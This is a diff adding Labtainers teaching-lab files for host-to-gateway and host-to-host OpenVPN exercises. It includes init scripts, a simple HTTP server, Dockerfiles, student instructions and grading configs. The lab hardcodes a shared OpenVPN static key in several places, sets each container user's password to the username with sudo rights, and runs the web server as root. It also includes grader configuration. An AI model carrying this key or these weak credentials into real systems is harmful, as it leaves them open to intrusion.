000000000..e2a134b67 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/etc/init.d/httpserver.sh @@ -0,0 +1,62 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: httpserver +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/ubuntu +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpserver + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/etc/rc.local new file mode 100755 index 000000000..65cca2f15 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/etc/rc.local @@ -0,0 +1,18 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to client +route add -net 172.25.0.0/24 gw 172.20.0.1 + +systemctl restart httpserver +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..aea420791 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/sbin/faux_init new file mode 100755 index 000000000..2d45ce155 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/home/ubuntu/MyHTTPServer.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/server.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/server.conf new file mode 100644 index 000000000..9968c084b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/server.conf @@ -0,0 +1,3 @@ +dev tun +ifconfig 10.8.0.1 10.8.0.2 +secret static.key diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/static.key b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/static.key new file mode 100644 index 000000000..da931ca6e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab/server/static.key @@ -0,0 +1,21 @@ +# +# 2048 bit OpenVPN static key +# +-----BEGIN OpenVPN Static key V1----- +2495bedda703d287a99f49c36e52f2c1 +0cce2474231d0970b14314ce3a10236f +c8972c4264e0fbaf912b1652f2798530 +564ee938d8ba8d3de11b26338d37dad7 +5b89ff63cc6b91d4e6e396e6094f8e2b +9570f44e31bf1827397214d8d7355a9c +279e53e74cf8cd2d73e7c0c081afa4b1 +37c5599da696c3007acd8b6dfaf9a1a1 +a3e4f0d2ac10a05f49a6b722835d3966 +1d7e5950cbba4c68a7bb1256982226c8 +78f903bade7f5eaac81599b78d84635b +d6271aa07e12c0ddeb131ba3bde8727c +0eb553d3de81312efd3a413516004fa8 +4d481065cc78962bd17e3384851a1307 +08849193fe7fab7fc01ae750c5af6bc7 +789fbe3dc2ca0336fa1fb5d189bd1455 +-----END OpenVPN Static key V1----- diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_bin/treataslocal new file mode 100644 index 000000000..7f8369d4f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/wget +/usr/sbin/openvpn diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_system/etc/rc.local new file mode 100755 index 000000000..9610291b0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_system/etc/rc.local @@ -0,0 +1,17 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server - via router then gateway +route add -net 172.20.0.0/24 gw 172.25.0.1 + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/client.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/client.conf new file mode 100644 index 000000000..ea493a306 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/client.conf @@ -0,0 +1,5 @@ +remote 172.20.0.3 +dev tun +ifconfig 10.8.0.2 10.8.0.1 +secret static.key +route 192.168.0.0 255.255.255.0 10.8.0.1 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/instructions.txt new file mode 100644 index 000000000..442dc1f30 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/instructions.txt @@ -0,0 +1,82 @@ + +Title: VPN Lab Exercise (host-to-gateway VPN) + +1. Background + +This Labtainer exercise illustrates a simple +host-to-gateway vpn implemented with openvpn, and +a static shared key. + +The example network is identical to that in +the "host-to-host VPN" lab exercise, except +there is now gateway in front of the server. +As with the previous exercise, the server +offers a simple HTTP service, and the student +will use wget on the client to retrieve html +files from the server. + +The openvpn application is pre-installed +on the client and the gateway, and the +corresponding openvpn configuration files +already exist. To create an encrypted tunnel, +the student only has to execute openvpn on +the client and the gateway. + +In this exercise, the student will observe +that the client is unable to reach the server +until the openvpn tunnel is established. And, +use of the gateway allows the client to name +the server using the server's network address +rather than the network address associated with +the tunnel as was required in the host-to-host +VPN lab exercise. + +2. Performing the lab +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: + + labtainer vpnlab + +The resulting virtual terminals include a display of +these instructions, a terminal connected to a client, +and a terminal connected to a server. + +To navigate this instruction, the arrow keys along with +with the Space/Home/End/Page-Up/Page-Down keys are usable. +To exit navigation of this instruction, type 'q'. + +3. Tasks +3.1 Use tcpdump on the router to display network traffic: + sudo tcpdump -n -XX -i eth0 + +3.2 Use wget on the client to fetch the index.html file + wget http:///index.html +Where is the server network address, which you +can learn by running "ifconfig" on the server. + +Observe that wget fails. Use " c" to exit wget. + +3.3 Start the openvpn program on the gateway: +sudo openvpn --config gateway.conf --daemon + +3.4 Start the openvpn program on the client: +sudo openvpn --config client.conf --daemon + +3.5 Use wget again, just as was done previously. +Note the wget succeeds this time. +Note you are using the server's network address +rather than the address associated with an encrypted tunnel. +Observe the network traffic in tcpdump. + +4. Stop the Labtainer + +When the lab is completed, or you'd like to stop working for a while, run + + stoplab httplab + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the Labtainer is stopped, a +zip file is created and copied to a location displayed by the stoplab +command. When the lab is completed, send that zip file to the instructor. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/static.key b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/static.key new file mode 100644 index 000000000..da931ca6e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/client/static.key @@ -0,0 +1,21 @@ +# +# 2048 bit OpenVPN static key +# +-----BEGIN OpenVPN Static key V1----- +2495bedda703d287a99f49c36e52f2c1 +0cce2474231d0970b14314ce3a10236f +c8972c4264e0fbaf912b1652f2798530 +564ee938d8ba8d3de11b26338d37dad7 +5b89ff63cc6b91d4e6e396e6094f8e2b +9570f44e31bf1827397214d8d7355a9c +279e53e74cf8cd2d73e7c0c081afa4b1 +37c5599da696c3007acd8b6dfaf9a1a1 +a3e4f0d2ac10a05f49a6b722835d3966 +1d7e5950cbba4c68a7bb1256982226c8 +78f903bade7f5eaac81599b78d84635b +d6271aa07e12c0ddeb131ba3bde8727c +0eb553d3de81312efd3a413516004fa8 +4d481065cc78962bd17e3384851a1307 +08849193fe7fab7fc01ae750c5af6bc7 +789fbe3dc2ca0336fa1fb5d189bd1455 +-----END OpenVPN Static key V1----- diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/about.txt new file mode 100644 index 000000000..1ea0b8631 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/about.txt @@ -0,0 +1 @@ +Similar to vpnlab, but with the use of a vpn gateway. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/parameter.config new file mode 100644 index 000000000..cb1f7464b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for vpn lab +HTTPSERVERLINK1 : HASH_REPLACE : server:/home/ubuntu/link1.html : HTTP_SECRET : myhttpsecretubuntufile +HTTPSERVERLINK2 : HASH_REPLACE : server:/home/ubuntu/link2.html : HTTP_SECRET : myhttpsecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/start.config new file mode 100644 index 000000000..d91e91326 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/config/start.config @@ -0,0 +1,50 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED vpnlab2jeanseed + +# SUBNETS +NETWORK GW_LAN + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +NETWORK CLIENT_LAN + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 + +NETWORK SERVER_LAN + MASK 192.168.0.0/24 + GATEWAY 192.168.0.102 + +# Container name and settings +CONTAINER server + USER ubuntu + TERMINALS 1 + SERVER_LAN 192.168.0.4 + +CONTAINER client + USER ubuntu + XTERM INSTRUCTIONS + CLIENT_LAN 172.25.0.2 + +CONTAINER router + USER ubuntu + GW_LAN 172.20.0.1 + CLIENT_LAN 172.25.0.1 + TERMINAL_GROUP gateway + +CONTAINER gateway + USER ubuntu + GW_LAN 172.20.0.3 + SERVER_LAN 192.168.0.3 + TERMINAL_GROUP gateway + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.client.student new file mode 100644 index 000000000..57a1a41f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.client.student @@ -0,0 +1,18 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.gateway.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.gateway.student new file mode 100644 index 000000000..57a1a41f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.gateway.student @@ -0,0 +1,18 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.router.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.router.student new file mode 100644 index 000000000..15b679c13 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.router.student @@ -0,0 +1,16 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.server.student new file mode 100644 index 000000000..57a1a41f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/dockerfiles/Dockerfile.vpnlab2.server.student @@ -0,0 +1,18 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/_system/etc/rc.local new file mode 100755 index 000000000..1bedf2098 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/_system/etc/rc.local @@ -0,0 +1,17 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to client +route add -net 172.25.0.0/24 gw 172.20.0.1 + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/gateway.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/gateway.conf new file mode 100644 index 000000000..f1edf4657 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/gateway.conf @@ -0,0 +1,4 @@ +dev tun +ifconfig 10.8.0.1 10.8.0.2 +push "route 192.168.0.0 255.255.255.0" +secret static.key diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/static.key b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/static.key new file mode 100644 index 000000000..da931ca6e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/gateway/static.key @@ -0,0 +1,21 @@ +# +# 2048 bit OpenVPN static key +# +-----BEGIN OpenVPN Static key V1----- +2495bedda703d287a99f49c36e52f2c1 +0cce2474231d0970b14314ce3a10236f +c8972c4264e0fbaf912b1652f2798530 +564ee938d8ba8d3de11b26338d37dad7 +5b89ff63cc6b91d4e6e396e6094f8e2b +9570f44e31bf1827397214d8d7355a9c +279e53e74cf8cd2d73e7c0c081afa4b1 +37c5599da696c3007acd8b6dfaf9a1a1 +a3e4f0d2ac10a05f49a6b722835d3966 +1d7e5950cbba4c68a7bb1256982226c8 +78f903bade7f5eaac81599b78d84635b +d6271aa07e12c0ddeb131ba3bde8727c +0eb553d3de81312efd3a413516004fa8 +4d481065cc78962bd17e3384851a1307 +08849193fe7fab7fc01ae750c5af6bc7 +789fbe3dc2ca0336fa1fb5d189bd1455 +-----END OpenVPN Static key V1----- diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/instr_config/goals.config new file mode 100644 index 000000000..f7d15b3da --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/instr_config/goals.config @@ -0,0 +1,15 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for vpn lab + +#_routereth0tcpdump = matchany : string_end : routertcpdump : answer=eth0 +#_routereth1tcpdump = matchany : string_end : routertcpdump : answer=eth1 + +#_routerlistenon = boolean : ( _routereth0tcpdump or _routereth1tcpdump ) + +#_wgetlink1encryptedok = matchany : string_equal : wgetlink1 : answer=192.168.0.4 + +#DOC: Ran tcpdump while using wget over an encrypted link +#tcpdump_encr_link1 = time_during : _wgetlink1encryptedok : _routerlistenon diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/instr_config/results.config new file mode 100644 index 000000000..490ba526f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for vpn lab + +#routertcpdump = router:tcpdump.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS is + +#wgetlink1 = client:wget.stdin : SLASH : 3 : HAVESTRING : link1.html + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/router/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/router/_bin/treataslocal new file mode 100644 index 000000000..d32bcf090 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/router/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/tcpdump diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/router/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/router/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/router/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/MyHTTPServer.py new file mode 100755 index 000000000..7a103f630 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/MyHTTPServer.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() +os.chdir('/home/ubuntu') +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +os.chdir("/home/ubuntu") +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_bin/treataslocal new file mode 100644 index 000000000..0ee760bc1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_bin/treataslocal @@ -0,0 +1 @@ +/usr/sbin/openvpn diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/etc/init.d/httpserver.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/etc/init.d/httpserver.sh new file mode 100755 index 000000000..e2a134b67 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/etc/init.d/httpserver.sh @@ -0,0 +1,62 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: httpserver +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/ubuntu +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpserver + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/etc/rc.local new file mode 100755 index 000000000..7985172a8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/etc/rc.local @@ -0,0 +1,20 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# + +# Set the default gateway to the gateway component, +# while maintaining a route to my_host. +# + +set_default_gw.sh 192.168.0.3 +systemctl restart httpserver +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..aea420791 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/sbin/faux_init new file mode 100755 index 000000000..2d45ce155 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/vpnlab2/server/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock 